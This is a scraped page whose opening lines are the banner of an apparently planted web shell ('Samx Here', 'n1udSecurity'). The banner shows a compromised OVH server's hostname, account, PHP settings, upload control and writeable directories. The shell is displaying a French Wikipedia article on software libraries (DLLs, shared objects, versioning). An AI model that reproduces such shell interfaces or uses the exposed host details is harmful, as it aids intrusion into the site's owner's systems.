Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/encyclo/articles/b/i/b/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/encyclo/articles/b/////i/b/Bibliothèque_logicielle.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr" dir="ltr">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<!-- headlinks removed -->
	<link rel="shortcut icon" href="../../../../misc/favicon.ico"/>
    <title>Bibliothèque logicielle - Wikipédia</title>
    <style type="text/css">/*<![CDATA[*/ @import "../../../../skins/offline/main.css"; /*]]>*/</style>
    <link rel="stylesheet" type="text/css" media="print" href="../../../../skins/common/commonPrint.css" />
    <!--[if lt IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE50Fixes.css";</style><![endif]-->
    <!--[if IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE55Fixes.css";</style><![endif]-->
    <!--[if IE 6]><style type="text/css">@import "../../../../skins/monobook/IE60Fixes.css";</style><![endif]-->
    <!--[if IE]><script type="text/javascript" src="../../../../skins/common/IEFixes.js"></script>
    <meta http-equiv="imagetoolbar" content="no" /><![endif]-->
    <script type="text/javascript" src="../../../../skins/common/wikibits.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/md5.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/utf8.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/lookup.js"></script>
    <script type="text/javascript" src="../../../../raw/gen.js"></script>        <style type="text/css">/*<![CDATA[*/
@import "../../../../raw/MediaWiki%7ECommon.css";
@import "../../../../raw/MediaWiki%7EMonobook.css";
@import "../../../../raw/gen.css";
/*]]>*/</style>          </head>
  <body
    class="ns-0">
    <div id="globalWrapper">
      <div id="column-content">
	<div id="content">
	  <a name="top" id="contentTop"></a>
	        <h1 class="firstHeading">Bibliothèque logicielle</h1>
	  <div id="bodyContent">
	    <h3 id="siteSub">Un article de Wikipédia, l'encyclopédie libre.</h3>
	    <div id="contentSub"></div>
	    	    	    <!-- start content -->
	    <div class="homonymie">Pour les articles <a href="../../../../articles/h/o/m/Aide%7EHomonymie_2a52.html" title="Aide:Homonymie">homonymes</a>, voir <a href="../../../../articles/b/i/b/Biblioth%C3%A8que_%28homonymie%29.html" title="Bibliothèque (homonymie)">Bibliothèque (homonymie)</a> et <a href="../../../../articles/d/l/l/DLL_5884.html" title="DLL">DLL</a>. <a href="../../../../articles/d/i/s/Image%7EDisambig.svg_8f13.html" class="image" title="Disambig.svg"><img alt="" src="../../../../images/shared/thumb/7/72/Disambig.svg/20px-Disambig.svg.png" width="20" height="16" border="0" /></a></div>
<p>En <a href="../../../../articles/i/n/f/Informatique.html" title="Informatique">informatique</a>, une <b>bibliothèque</b> ou <b>librairie</b><sup id="cite_ref-0" class="reference"><a href="#cite_note-0" title=""><span class="cite_crochet">[</span>1<span class="cite_crochet">]</span></a></sup> <b>logicielle</b> (ou encore, bibliothèque de programmes) est un ensemble de <a href="../../../../articles/f/o/n/Fonction_%28informatique%29.html" title="Fonction (informatique)">fonctions</a> utilitaires, regroupées et mises à disposition afin de pouvoir être utilisées sans avoir à les réécrire. Les fonctions sont regroupées de par leur appartenance à un même domaine conceptuel (mathématique, graphique, tris, etc). Les bibliothèques logicielles se distinguent des <a href="../../../../articles/f/i/c/Fichier_ex%C3%A9cutable.html" title="Fichier exécutable">exécutables</a> dans la mesure où elles ne représentent pas une application. Elles ne sont pas <i>complètes</i>, elles ne possèdent pas l'essentiel d'un <a href="../../../../articles/p/r/o/Programme_%28informatique%29.html" class="mw-redirect" title="Programme (informatique)">programme</a> comme une fonction principale et par conséquent ne peuvent pas être exécutées directement. Les bibliothèques peuvent regrouper des fonctions simples (par exemple le calcul d'un cosinus, ou l'inversion d'une matrice) comme des fonctions complexes avec de nombreuses fonctions internes non accessibles directement. L'intérêt des bibliothèques réside dans le fait qu'<b>elles contiennent du code utile que l'on ne désire pas avoir à réécrire à chaque fois</b>.</p>
<p>Les bibliothèques logicielles sont parfois regroupées en un <b><a href="../../../../articles/f/r/a/Framework.html" title="Framework">framework</a></b>, de façon à constituer un ensemble cohérent et complémentaire de bibliothèques.</p>
<table id="toc" class="toc" summary="Sommaire">
<tr>
<td>
<div id="toctitle">
<h2>Sommaire</h2>
</div>
<ul>
<li class="toclevel-1"><a href="#Origine_du_nom"><span class="tocnumber">1</span> <span class="toctext">Origine du nom</span></a></li>
<li class="toclevel-1"><a href="#Conception_et_organisation_des_biblioth.C3.A8ques"><span class="tocnumber">2</span> <span class="toctext">Conception et organisation des bibliothèques</span></a></li>
<li class="toclevel-1"><a href="#Mise_en_.C5.93uvre_des_biblioth.C3.A8ques_au_format_du_syst.C3.A8me_d.27exploitation"><span class="tocnumber">3</span> <span class="toctext">Mise en œuvre des bibliothèques au format du système d'exploitation</span></a>
<ul>
<li class="toclevel-2"><a href="#Principes"><span class="tocnumber">3.1</span> <span class="toctext">Principes</span></a></li>
<li class="toclevel-2"><a href="#Biblioth.C3.A8ques_charg.C3.A9es_dynamiquement"><span class="tocnumber">3.2</span> <span class="toctext">Bibliothèques chargées dynamiquement</span></a></li>
<li class="toclevel-2"><a href="#Biblioth.C3.A8ques_partag.C3.A9es"><span class="tocnumber">3.3</span> <span class="toctext">Bibliothèques partagées</span></a></li>
<li class="toclevel-2"><a href="#Versions_simultan.C3.A9es"><span class="tocnumber">3.4</span> <span class="toctext">Versions simultanées</span></a></li>
</ul>
</li>
<li class="toclevel-1"><a href="#Cas_sp.C3.A9cifiques_dans_diff.C3.A9rents_syst.C3.A8mes_d.27exploitation"><span class="tocnumber">4</span> <span class="toctext">Cas spécifiques dans différents systèmes d'exploitation</span></a>
<ul>
<li class="toclevel-2"><a href="#Windows"><span class="tocnumber">4.1</span> <span class="toctext">Windows</span></a></li>
<li class="toclevel-2"><a href="#Unix.2C_GNU.2FLinux_et_BSD"><span class="tocnumber">4.2</span> <span class="toctext">Unix, GNU/Linux et BSD</span></a></li>
<li class="toclevel-2"><a href="#Exemples"><span class="tocnumber">4.3</span> <span class="toctext">Exemples</span></a></li>
</ul>
</li>
<li class="toclevel-1"><a href="#Biblioth.C3.A8ques_de_langages_de_scripts"><span class="tocnumber">5</span> <span class="toctext">Bibliothèques de langages de scripts</span></a></li>
<li class="toclevel-1"><a href="#Notes_et_r.C3.A9f.C3.A9rences"><span class="tocnumber">6</span> <span class="toctext">Notes et références</span></a></li>
<li class="toclevel-1"><a href="#Voir_aussi"><span class="tocnumber">7</span> <span class="toctext">Voir aussi</span></a>
<ul>
<li class="toclevel-2"><a href="#Liens_externes"><span class="tocnumber">7.1</span> <span class="toctext">Liens externes</span></a></li>
</ul>
</li>
</ul>
</td>
</tr>
</table>
<script type="text/javascript">
//<![CDATA[
 if (window.showTocToggle) { var tocShowText = "afficher"; var tocHideText = "masquer"; showTocToggle(); } 
//]]>
</script>
<p><a name="Origine_du_nom" id="Origine_du_nom"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/b/Biblioth%C3%A8que_logicielle.html" title="Modifier la section&#160;: Origine du nom">modifier</a>]</span> <span class="mw-headline">Origine du nom</span></h2>
<p>Le nom de bibliothèque est dérivé du comportement humain&#160;: quand on ignore comment faire quelque chose de technique (par exemple, planter des graines dans un jardin) et que l'on veut pourtant le faire, on peut aller se documenter en <a href="../../../../articles/b/i/b/Biblioth%C3%A8que.html" title="Bibliothèque">bibliothèque</a> et consulter des livres indiquant comment procéder sans avoir à réinventer la procédure soi-même et à chaque fois.</p>
<p>Les programmes procèdent un peu de la même façon&#160;: plutôt que de coder une procédure courante dans chaque programme en ayant besoin (ce qui veut dire qu'une même procédure serait réécrite autant de fois sur un ordinateur qu'il y a de programmes susceptibles de l'utiliser), on rassemble ces procédures dans des bibliothèques. Si un programme a une fonction à remplir et que celle-ci se trouve en bibliothèque, il l'utilisera directement.</p>
<p><a name="Conception_et_organisation_des_biblioth.C3.A8ques" id="Conception_et_organisation_des_biblioth.C3.A8ques"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/b/Biblioth%C3%A8que_logicielle.html" title="Modifier la section&#160;: Conception et organisation des bibliothèques">modifier</a>]</span> <span class="mw-headline">Conception et organisation des bibliothèques</span></h2>
<p>L'organisation classique des bibliothèques passe par un découpage thématique des fonctions, permettant au programmeur de retrouver plus facilement la fonction dont il a besoin. Ce découpage thématique permet de classer les bibliothèques selon les services qu'elles rendent&#160;:</p>
<ul>
<li>Bibliothèques de bas niveau ou bibliothèques système&#160;: elles fournissent des services d'interface avec le <a href="../../../../articles/s/y/s/Syst%C3%A8me_d%27exploitation.html" title="Système d'exploitation">système d'exploitation</a>, avec les <a href="../../../../articles/p/%C3%A9/r/P%C3%A9riph%C3%A9rique_%28informatique%29.html" class="mw-redirect" title="Périphérique (informatique)">périphériques</a>, ou fournissent des outils génériques&#160;:
<ul>
<li>bibliothèques d'entrées/sorties&#160;: fonctions de lecture et d'écriture de <a href="../../../../articles/f/i/c/Fichier_%28informatique%29.html" class="mw-redirect" title="Fichier (informatique)">fichiers</a>, de périphériques d'entrée/sortie comme le <a href="../../../../articles/c/l/a/Clavier_informatique.html" class="mw-redirect" title="Clavier informatique">clavier</a>, l'<a href="../../../../articles/m/o/n/Moniteur_d%27ordinateur.html" title="Moniteur d'ordinateur">écran</a>, etc.</li>
<li>gestion de <a href="../../../../articles/s/t/r/Structure_de_donn%C3%A9es.html" title="Structure de données">structures de données</a> système,</li>
</ul>
</li>
<li>Bibliothèques de haut niveau (aussi appelées <i>bibliothèques métier</i>, elles interagissent avec celles de bas niveau)&#160;: les fonctions qu'elles contiennent sont propres à une activité spécifique:
<ul>
<li>boîtes à outils graphiques&#160;: ensemble de fonctions permettant de gérer, d'animer et d'afficher des objets graphiques complexes (par exemple&#160;: <a href="../../../../articles/o/p/e/OpenGL_7607.html" title="OpenGL">OpenGL</a>),</li>
<li>bibliothèques d'opérateurs de <a href="../../../../articles/t/r/a/Traitement_d%27image.html" class="mw-redirect" title="Traitement d'image">traitement d'image</a>&#160;: ensemble de fonctions destinées à structurer l'information dans une image à des fins d'analyse,</li>
<li>gestion de <a href="../../../../articles/s/t/r/Structure_de_donn%C3%A9es.html" title="Structure de données">structures de données</a> utilisateur,</li>
</ul>
</li>
<li>Autres bibliothèques&#160;:
<ul>
<li>combinateurs en <a href="../../../../articles/p/r/o/Programmation_fonctionnelle.html" title="Programmation fonctionnelle">programmation fonctionnelle</a>,</li>
<li>protocoles de <a href="../../../../articles/m/%C3%A9/t/M%C3%A9taprogrammation.html" title="Métaprogrammation">métaprogrammation</a>.</li>
</ul>
</li>
</ul>
<p><br />
L'<a href="../../../../articles/i/n/t/Interface_de_programmation.html" title="Interface de programmation">interface de programmation</a> (plus communément appelé par son <a href="../../../../articles/a/c/r/Acronymie.html" title="Acronymie">acronyme</a> anglais API pour <i>Application Programming Interface</i>) est la partie visible d'une bibliothèque ou d'un ensemble de bibliothèques, permettant au programmeur de choisir parmi les fonctions disponibles celle qui va lui rendre le service dont il a besoin. Les APIs se présentent comme une liste des noms des fonctions ou/et classes disponibles, avec une documentation sur les <a href="../../../../articles/p/a/r/Param%C3%A8tre.html" title="Paramètre">paramètres</a> à leur fournir et sur les résultats retournés.</p>
<p><a name="Mise_en_.C5.93uvre_des_biblioth.C3.A8ques_au_format_du_syst.C3.A8me_d.27exploitation" id="Mise_en_.C5.93uvre_des_biblioth.C3.A8ques_au_format_du_syst.C3.A8me_d.27exploitation"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/b/Biblioth%C3%A8que_logicielle.html" title="Modifier la section&#160;: Mise en œuvre des bibliothèques au format du système d'exploitation">modifier</a>]</span> <span class="mw-headline">Mise en œuvre des bibliothèques au format du système d'exploitation</span></h2>
<p><a name="Principes" id="Principes"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/b/i/b/Biblioth%C3%A8que_logicielle.html" title="Modifier la section&#160;: Principes">modifier</a>]</span> <span class="mw-headline">Principes</span></h3>
<p>Pour que le code exécutable puisse accéder aux instructions d'une fonction d'une bibliothèque qu'il utilise, il faut que chaque appel de fonction dans le code soit associé à l'adresse effective de la première instruction de la fonction appelée dans la bibliothèque.</p>
<p>Pour cela, il existe plusieurs méthodes et outils, qui interviennent après l'étape de <a href="../../../../articles/c/o/m/Compilateur.html" title="Compilateur">compilation</a>&#160;:</p>
<ul>
<li>l'<a href="../../../../articles/%C3%A9/d/i/%C3%89dition_de_liens.html" title="Édition de liens">édition de liens</a> assure la mise en place, dans le code exécutable de l'application, des instructions de branchement vers les fonctions externes (issues d'une ou de plusieurs bibliothèques)&#160;;</li>
<li>si l'édition de lien est dynamique, intervient un <a href="../../../../articles/c/h/a/Chargeur_%28informatique%29.html" title="Chargeur (informatique)">chargeur</a> permettant, lors de l'exécution du programme, d'amener en mémoire les fonctions des bibliothèques utilisées, de sorte que lorsqu'une fonction est appelée, son code soit disponible en mémoire.</li>
<li>si l'édition est statique: le code des fonctions utilisées par l'application est intégré au code de l'application qui devient par là-même autonome.</li>
</ul>
<p>Le chargement des bibliothèques peut survenir de deux manières&#160;:</p>
<ul>
<li><i>À la volée</i> lors d'un appel par le programme qui en exploite une fonction (liaison tardive), cette technique a l'avantage de ne charger que le code réellement nécessaire,</li>
<li>Ou au chargement du programme en vue de son exécution.</li>
</ul>
<p><br />
Une bibliothèque est en principe <i>partagée</i> par le système d'exploitation afin de ne pas dupliquer son code dans toutes les applications y faisant appel. Voir cependant la possibilité de <a href="#Versions_simultan.C3.A9es" title="">versions simultanées</a>.</p>
<p><a name="Biblioth.C3.A8ques_charg.C3.A9es_dynamiquement" id="Biblioth.C3.A8ques_charg.C3.A9es_dynamiquement"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/b/i/b/Biblioth%C3%A8que_logicielle.html" title="Modifier la section&#160;: Bibliothèques chargées dynamiquement">modifier</a>]</span> <span class="mw-headline">Bibliothèques chargées dynamiquement</span></h3>
<p>Une <i>bibliothèque dynamique</i>, nommée <i>Dynamic Link Library</i> (.dll) pour <a href="../../../../articles/m/i/c/Microsoft_Windows_48e2.html" title="Microsoft Windows">Windows</a> et nommée <i>shared object</i> (.so) ou "dynamic library" sous <a href="../../../../articles/u/n/i/UNIX_1539.html" title="UNIX">UNIX</a>, est un fichier de bibliothèque logicielle utilisé par un programme exécutable, mais n'en faisant pas partie.</p>
<p>Ce fichier contient des fonctions qui pourront être appelées pendant l'exécution d'un programme, sans que celles-ci soient incluses dans son exécutable.</p>
<p>Les avantages des bibliothèques dynamiques sont:</p>
<ul>
<li>la réduction de la taille d'un exécutable, puisque certaines parties du <a href="../../../../articles/l/o/g/Logiciel.html" title="Logiciel">logiciel</a> se situent en dehors de lui,</li>
<li>et la mise à jour possible des fonctions utiles pour toutes les applications qui les utilisent. Les applications bénéficient alors automatiquement des corrections ou des améliorations fonctionnelles de la bibliothèque.</li>
</ul>
<p><a name="Biblioth.C3.A8ques_partag.C3.A9es" id="Biblioth.C3.A8ques_partag.C3.A9es"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/b/i/b/Biblioth%C3%A8que_logicielle.html" title="Modifier la section&#160;: Bibliothèques partagées">modifier</a>]</span> <span class="mw-headline">Bibliothèques partagées</span></h3>
<p>Lorsque plusieurs programmes utilisent les mêmes bibliothèques, il est judicieux de ne charger celles-ci qu'une seule fois en mémoire et de laisser tous les programmes en utiliser la même copie. On parle alors de <i>bibliothèques partagées</i>. Une bibliothèque peut être dynamique sans pour autant être partagée, et partagée sans être dynamique.</p>
<p>Le fait de partager des bibliothèques implique de fortes contraintes de conception afin que les appels de fonction par un programme, susceptibles de modifier l'état interne de la bibliothèque, ne perturbent pas les autres programmes qui l'utilisent également. Dans un système <a href="../../../../articles/m/u/l/Multit%C3%A2che.html" title="Multitâche">multitâche</a>, comme on ne maîtrise pas les moments où les fonctions de la bibliothèque sont appelées, il est possible qu'une fonction soit appelée plusieurs fois simultanément. On appelle <a href="../../../../articles/r/%C3%A9/e/R%C3%A9entrance.html" title="Réentrance">réentrance</a> la faculté d'une bibliothèque à pouvoir être utilisées simultanément par plusieurs applications.</p>
<p><a name="Versions_simultan.C3.A9es" id="Versions_simultan.C3.A9es"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/b/i/b/Biblioth%C3%A8que_logicielle.html" title="Modifier la section&#160;: Versions simultanées">modifier</a>]</span> <span class="mw-headline">Versions simultanées</span></h3>
<p>Lors du remplacement d'une version de bibliothèque par une autre, il arrive que certains programmes fonctionnant avec l'ancienne version ne puissent plus fonctionner avec la nouvelle. Le problème est résolu par un mécanisme de version de bibliothèque et de compatibilité entre version</p>
<p><a name="Cas_sp.C3.A9cifiques_dans_diff.C3.A9rents_syst.C3.A8mes_d.27exploitation" id="Cas_sp.C3.A9cifiques_dans_diff.C3.A9rents_syst.C3.A8mes_d.27exploitation"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/b/Biblioth%C3%A8que_logicielle.html" title="Modifier la section&#160;: Cas spécifiques dans différents systèmes d'exploitation">modifier</a>]</span> <span class="mw-headline">Cas spécifiques dans différents systèmes d'exploitation</span></h2>
<p><a name="Windows" id="Windows"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/b/i/b/Biblioth%C3%A8que_logicielle.html" title="Modifier la section&#160;: Windows">modifier</a>]</span> <span class="mw-headline">Windows</span></h3>
<p><i>DLL</i> signifie <i>Dynamic Link Library</i>, ou en français Bibliothèque de liens dynamiques, dans le cadre du <a href="../../../../articles/s/y/s/Syst%C3%A8me_d%27exploitation.html" title="Système d'exploitation">Système d'exploitation</a> <a href="../../../../articles/m/i/c/Microsoft_Windows_48e2.html" title="Microsoft Windows">Windows</a>. Traditionnellement, le nom de ces fichiers se termine par l'extension «&#160;.dll&#160;». Une DLL peut contenir du code ou des ressources qui sont alors rendus disponibles à d'autres applications.</p>
<p>Le code contenu dans une DLL n'est chargé qu'une seule fois en mémoire. Ainsi, lorsqu'un processus tente de charger une DLL qui est déjà en mémoire, le code existant est mappé dans la mémoire du programme sans qu'un second chargement soit nécessaire, gagnant de la place en <a href="../../../../articles/m/%C3%A9/m/M%C3%A9moire_vive.html" title="Mémoire vive">RAM</a>. Lorsque tous les processus qui exploitaient une DLL se sont terminés, suivant le type de la bibliothèque et les paramètres <a href="../../../../articles/m/i/c/Microsoft_Windows_48e2.html" title="Microsoft Windows">Windows</a>, l'espace mémoire qui lui était attribué peut être libéré ou non modifié afin que les prochains programmes hôtes n'aient pas à réeffectuer l'opération de chargement.</p>
<p>Une DLL peut être liée statiquement ou dynamiquement à un programme. Dans le premier cas, le programme déclare explicitement avoir besoin d'une fonction contenue dans une bibliothèque et la résolution de liens est effectuée par l'<a href="../../../../articles/%C3%A9/d/i/%C3%89dition_de_liens.html" title="Édition de liens">éditeur de lien</a> au moment de la phase de <a href="../../../../articles/c/o/m/Compilateur.html" title="Compilateur">compilation</a> du programme. Le programme inclut alors dans sa structure binaire la liste des bibliothèques nécessaires à son bon fonctionnement dans sa "table des exportations" (<i>export table</i>). Le chargeur de programmes de <a href="../../../../articles/m/i/c/Microsoft_Windows_48e2.html" title="Microsoft Windows">Windows</a> vérifie alors lors de l'exécution du programme que toutes les DLL requises sont disponibles, et si ce n'est pas le cas, stoppe le chargement en affichant un message indiquant que des dépendances nécessaires à l'exécutable n'ont pu être trouvées. Dans le second cas, c'est le programme qui demande explicitement le chargement d'une bibliothèque durant son exécution à l'aide de l'API <i>LoadLibrary</i> afin d'obtenir un pointeur sur la fonction désirée. Cette dernière approche est plus pénible car elle nécessite un effort plus important de la part du programmeur, mais elle permet d'une part de ne pas empêcher l'exécution d'un programme lié à une bibliothèque dont l'existence sur le système hôte n'est pas certaine, d'autre part constitue parfois le seul moyen d'accéder à des fonctions qui ne sont pas déclarées dans les fichiers d'interface fournis par l'éditeur et qui sont donc à considérer comme "non documentées".</p>
<p>Des langages comme <a href="../../../../articles/c/_/%28/C_%28langage%29.html" title="C (langage)">C</a>, <a href="../../../../articles/c/%2B/%2B/C%2B%2B.html" title="C++">C++</a> ou <a href="../../../../articles/d/e/l/Delphi_%28langage%29.html" class="mw-redirect" title="Delphi (langage)">Delphi</a> sont aptes à créer des DLL qui peuvent être exploitées par d'autres programmes. De nombreux outils de développement qui proposent des bibliothèques d'exécution à l'instar des <a href="../../../../articles/m/f/c/MFC_d742.html" class="mw-redirect" title="MFC">MFC</a> ou de la <a href="../../../../articles/v/c/l/VCL_9bbe.html" class="mw-redirect" title="VCL">VCL</a> de <a href="../../../../articles/b/o/r/Borland.html" title="Borland">Borland</a> proposent soit une liaison statique (intégration directe du code dans l'exécutable) soit une liaison dynamique (la bibliothèque est alors à distribuer sous forme de DLL).</p>
<p>L'utilisation de DLL permet de mettre à disposition du code et de rendre modulaire l'architecture d'une application. La mise à jour de celle-ci peut également se faire en remplaçant uniquement les DLL obsolètes. Néanmoins, l'utilisation de plusieurs versions concurrentes de DLL est problématique sous <a href="../../../../articles/m/i/c/Microsoft_Windows_48e2.html" title="Microsoft Windows">Windows</a> et conduit à certaines incompatibilités regroupées sous le terme <i>DLL Hell</i>.</p>
<p>Les DLL sont recherchées dans le répertoire courant, puis dans les répertoires inclus dans la variable d'environnement <a href="../../../../articles/p/a/t/PATH_5ffb.html" class="mw-redirect" title="PATH">path</a> comme <i>c:\windows</i> et <i>c:\windows\system32</i>.</p>
<p><a name="Unix.2C_GNU.2FLinux_et_BSD" id="Unix.2C_GNU.2FLinux_et_BSD"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/b/i/b/Biblioth%C3%A8que_logicielle.html" title="Modifier la section&#160;: Unix, GNU/Linux et BSD">modifier</a>]</span> <span class="mw-headline">Unix, GNU/Linux et BSD</span></h3>
<p>Sous les systèmes de type <a href="../../../../articles/u/n/i/Unix.html" class="mw-redirect" title="Unix">Unix</a>, les bibliothèques seront conventionnellement nommées à l'aide de l'extension <code>.so</code> (<i>shared objet</i>), <code>.dylib</code> (dynamic library de MacOSX), <code>.a</code> (archive, Unix traditionnels), <code>.sl</code> ("shared library") ou encore <code>.sa</code> ("shared archive", SunOS).</p>
<p>Les fichiers <i>.so</i> sont recherchés dans les répertoires décrits par /etc/ld.so.conf (documentation disponible avec <tt>man ldconfig</tt>).</p>
<p>Les bibliothèques peuvent évoluer et différentes versions peuvent être utilisées sur le même système, par exemple:</p>
<pre>
/usr/lib/libxml2.so (lien)
/usr/lib/libxml2.so.2 (lien)
/usr/lib/libxml2.so.2.6.6
/usr/lib/libxml.so.1 (lien)
/usr/lib/libxml.so.1.8.17
</pre>
<p><a name="Exemples" id="Exemples"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/b/i/b/Biblioth%C3%A8que_logicielle.html" title="Modifier la section&#160;: Exemples">modifier</a>]</span> <span class="mw-headline">Exemples</span></h3>
<pre>
C:\WINNT\system32\wsock32.dll  
/usr/lib/libxml2.so
</pre>
<p><a name="Biblioth.C3.A8ques_de_langages_de_scripts" id="Biblioth.C3.A8ques_de_langages_de_scripts"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/b/Biblioth%C3%A8que_logicielle.html" title="Modifier la section&#160;: Bibliothèques de langages de scripts">modifier</a>]</span> <span class="mw-headline">Bibliothèques de langages de scripts</span></h2>
<p>Les langages de scripts comme <a href="../../../../articles/p/y/t/Python_%28langage%29.html" title="Python (langage)">python</a> ou <a href="../../../../articles/p/e/r/Perl_%28langage%29.html" title="Perl (langage)">perl</a> ont leurs propres bibliothèques, qui sont souvent écrites dans le dit langage de script.</p>
<p>Par exemple la bibliothèque python2.4-pychart se compose notamment des trois fichiers suivants&#160;:</p>
<ul>
<li>/usr/lib/python2.4/site-packages/pychart/log_coord.py</li>
<li>/usr/lib/python2.4/site-packages/pychart/axis_doc.py</li>
<li>/usr/lib/python2.4/site-packages/pychart/object_set.py</li>
</ul>
<p><a name="Notes_et_r.C3.A9f.C3.A9rences" id="Notes_et_r.C3.A9f.C3.A9rences"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/b/Biblioth%C3%A8que_logicielle.html" title="Modifier la section&#160;: Notes et références">modifier</a>]</span> <span class="mw-headline">Notes et références</span></h2>
<div style="font-size: 85%">
<ol class="references">
<li id="cite_note-0"><span class="renvois_vers_le_texte"><a href="#cite_ref-0" title="">↑</a></span> Le terme de <i>librairie</i> est considéré par certains comme un abus de langage résultant d'une mauvaise traduction du <a href="http://fr.wikibooks.org/wiki/Anglais:Faux_amis" class="extiw" title="b:Anglais:Faux_amis">faux ami en anglais</a> <i>library</i>&#160;; cependant le mot librairie désignait au Moyen Âge d'abord l'ensemble des livres (la librairie de Montaigne), c'est ainsi qu'il est passé dans la langue anglaise et tombé en désuétude dans ce sens en français remplacé par un terme d'origine grecque plutôt que latine comme <i>libraria</i> du latin impérial.</li>
</ol>
</div>
<p><a name="Voir_aussi" id="Voir_aussi"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/b/Biblioth%C3%A8que_logicielle.html" title="Modifier la section&#160;: Voir aussi">modifier</a>]</span> <span class="mw-headline">Voir aussi</span></h2>
<ul>
<li><a href="../../../../articles/f/r/a/Framework.html" title="Framework">Framework</a></li>
</ul>
<p><a name="Liens_externes" id="Liens_externes"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/b/i/b/Biblioth%C3%A8que_logicielle.html" title="Modifier la section&#160;: Liens externes">modifier</a>]</span> <span class="mw-headline">Liens externes</span></h3>
<dl>
<dt>DLL sous Windows</dt>
</dl>
<ul>
<li><span style="cursor:help;font-family:monospace;font-weight:bold;font-size:small" title="Langue&#160;: anglais">(en)</span> <a href="http://wiki.djlizard.net/DLL_unregistration" class="external text" title="http://wiki.djlizard.net/DLL_unregistration" rel="nofollow">Libérer les DLL de la mémoire avec regsvr32 - TechWiki</a></li>
<li><span style="cursor:help;font-family:monospace;font-weight:bold;font-size:small" title="Langue&#160;: anglais">(en)</span> <a href="http://www.file-extension.com/files/DLL/" class="external text" title="http://www.file-extension.com/files/DLL/" rel="nofollow">File Extension DLL Info</a></li>
<li><span style="cursor:help;font-family:monospace;font-weight:bold;font-size:small" title="Langue&#160;: français">(fr)</span> <a href="http://www.fichier-dll.fr" class="external text" title="http://www.fichier-dll.fr" rel="nofollow">Bibliothèque de fichiers DLL en libre téléchargement</a></li>
</ul>
<dl>
<dt>Bibliothèques en C et C++</dt>
</dl>
<ul>
<li><span style="cursor:help;font-family:monospace;font-weight:bold;font-size:small" title="Langue&#160;: anglais">(en)</span> <a href="http://www.accu.org/resources/public/terse/cpp.htm" class="external text" title="http://www.accu.org/resources/public/terse/cpp.htm" rel="nofollow">ACCU C/C++ Resources</a></li>
<li><span style="cursor:help;font-family:monospace;font-weight:bold;font-size:small" title="Langue&#160;: français">(fr)</span> <a href="http://c.developpez.com/bibliotheques" class="external text" title="http://c.developpez.com/bibliotheques" rel="nofollow">Les bibliothèques C &amp; C++</a></li>
</ul>
<ul id="bandeau-portail" class="bandeau-portail">
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/c/r/y/Image%7ECrystal_mycomputer.png_ff1d.html" class="image" title="Icône du portail de l’informatique"><img alt="Icône du portail de l’informatique" src="../../../../images/shared/thumb/e/e3/Crystal_mycomputer.png/24px-Crystal_mycomputer.png" width="24" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/i/n/f/Portail%7EInformatique_2d39.html" title="Portail:Informatique">Portail de l’informatique</a></span></span></li>
</ul>


<!-- 
NewPP limit report
Preprocessor node count: 155/1000000
Post-expand include size: 1910/2048000 bytes
Template argument size: 149/2048000 bytes
Expensive parser function count: 0/500
-->
<div class="printfooter">
</div>
	    <div id="catlinks"><div id='catlinks' class='catlinks'><div id="mw-normal-catlinks"><a href="../../../../articles/a/c/c/Cat%C3%A9gorie%7EAccueil_1aae.html" title="Catégorie:Accueil">Catégories</a>&nbsp;:&#32;<span dir='ltr'><a href="../../../../articles/b/i/b/Cat%C3%A9gorie%7EBiblioth%C3%A8que_logicielle_cebd.html" title="Catégorie:Bibliothèque logicielle">Bibliothèque logicielle</a></span> | <span dir='ltr'><a href="../../../../articles/p/r/o/Cat%C3%A9gorie%7EProgrammation_informatique_8260.html" title="Catégorie:Programmation informatique">Programmation informatique</a></span></div></div></div>	    <!-- end content -->
	    <div class="visualClear"></div>
	  </div>
	</div>
      </div>
      <div id="column-one">
	<div id="p-cactions" class="portlet">
	  <h5>Views</h5>
	  <ul>
	    <li id="ca-nstab-main"
	       class="selected"	       ><a href="../../../../articles/b/i/b/Biblioth%C3%A8que_logicielle.html">Article</a></li><li id="ca-talk"
	       	       ><a href="../../../../articles/b/i/b/Discuter%7EBiblioth%C3%A8que_logicielle_efba.html">Discussion</a></li><li id="ca-current"
	       	       ><a href="http://fr.wikipedia.org/wiki/Biblioth%C3%A8que_logicielle">Version actuelle</a></li>	  </ul>
	</div>
	<div class="portlet" id="p-logo">
	  <a style="background-image: url(../../../../misc/Wiki.png);"
	    href="../../../../index.html"
	    title="Accueil"></a>
	</div>
	<script type="text/javascript"> if (window.isMSIE55) fixalpha(); </script>
		<div class='portlet' id='p-navigation'>
	  <h5>Navigation</h5>
	  <div class='pBody'>
	    <ul>
